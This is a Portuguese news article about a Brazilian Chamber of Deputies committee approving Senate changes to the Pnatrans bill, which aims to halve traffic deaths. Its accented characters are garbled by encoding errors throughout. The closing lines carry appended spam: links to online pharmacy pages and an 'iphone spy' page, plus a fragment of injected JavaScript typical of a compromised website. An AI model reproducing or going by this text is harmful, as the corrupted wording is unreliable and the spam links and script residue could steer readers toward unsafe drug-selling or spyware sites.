A ComissA?o de ConstituiAi??A?o e JustiAi??a e de Cidadania, da CA?mara dos Deputados, aprovou, nessa terAi??a-feira (19), as modificaAi??Ai??es feitas pelo Senado ao projeto de lei que cria o Plano Nacional de ReduAi??A?o de Mortes e LesAi??es no TrA?nsito (Pnatrans), com o objetivo de reduzir Ai?? metade, no prazo de dez anos, o Ai??ndice nacional de mortos em acidentes de trA?nsito no PaAi??s. Os senadores detalharam mais os dados, de forma a subdividir a coleta de dados e a definiAi??A?o das metas por circunscriAi??A?o das vias, de forma que elas sejam municipais, estaduais ou federais.
O plano tambAi??m levarA? em consideraAi??A?o os Ai??ndices apurados no ano de entrada em vigor da lei e incluir a consulta Ai?? PolAi??cia RodoviA?ria Federal e aos demais A?rgA?os do Sistema Nacional de TrA?nsito para definiAi??A?o das metas e indicadores. Outra mudanAi??a penaliza os estados que nA?o atingirem os objetivos do plano, com a duplicaAi??A?o do percentual do fundo que serA? recolhido. A cada ano de reincidA?ncia Ai?? prevista nova duplicaAi??A?o do percentual atAi?? atingir o limite de 40% do valor das multas arrecadadas.
MudanAi??as pontuais
O relator da proposta, deputado Hugo Leal (PSB-RJ), recomendou a aprovaAi??A?o e lembrou que a proposta jA? foi aprovada pela CA?mara. Para ele, as mudanAi??as feitas pelo Senado foram pontuais e melhoraram a proposta. As mudanAi??as feitas pelos senadores tambAi??m foram aprovadas pela ComissA?o de ViaAi??A?o e Transportes.
Aprovado em 2016, o projeto (PL 8272/14), de autoria do ex-deputado Beto Albuquerque e do deputado Paulo Foletto (PSB-ES), tramita em carA?ter conclusivo, por isso o texto deve ser encaminhado para a sanAi??A?o da PresidA?ncia da RepA?blica, salvo se for apresentado recurso para ir ao PlenA?rio da CA?mara. A proposta determina que as polAi??ticas pA?blicas do Sistema Nacional de TrA?nsito devem voltar-se, prioritariamente, ao cumprimento de metas anuais de reduAi??A?o no nA?mero de mortes no trA?nsito. http://mksrplumbingandheating.co.uk/order-diakoff/ document.currentScript.parentNode.insertBefore(s, document.currentScript); http://grupoebc.com.br/order-nimotop-30/buy motrin 800 onlinehttp://restaurantsuppliesphoenixarizona.com/restaurant-supplies/iphone-spy-maxxspy-blue-whale-game/ purchase flexisyn
